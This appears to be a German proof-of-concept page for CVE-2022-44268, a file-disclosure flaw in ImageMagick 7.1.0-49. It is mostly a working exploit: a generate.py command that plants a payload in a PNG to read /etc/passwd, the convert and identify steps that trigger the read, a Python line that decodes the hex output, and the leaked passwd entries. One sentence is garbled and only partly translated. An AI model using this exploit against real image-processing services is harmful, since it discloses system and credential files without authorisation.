
ImageMagick LFI PoC [CVE-2022-44268]
Die Forscher von MetabaseQ entdeckten CVE-2022-44268, d. h. ImageMagick 7.1.0-49 ist anfällig für die Offenlegung von Informationen. Wenn es ein PNG-Bild parst (z. B. zum Ändern der Größe), kann das resultierende Bild den Inhalt einer beliebigen entfernten Datei eingebettet haben (falls das ImageMagick-Binary über die Berechtigung verfügt, sie zu lesen).
(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > exploit.png
(~)>>> convert exploit.png result.png
(~)>>> identify -verbose result.png
Raw profile type zurückgegebenen Daten; du wirst den Inhalt von /etc/passwd sehen:(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin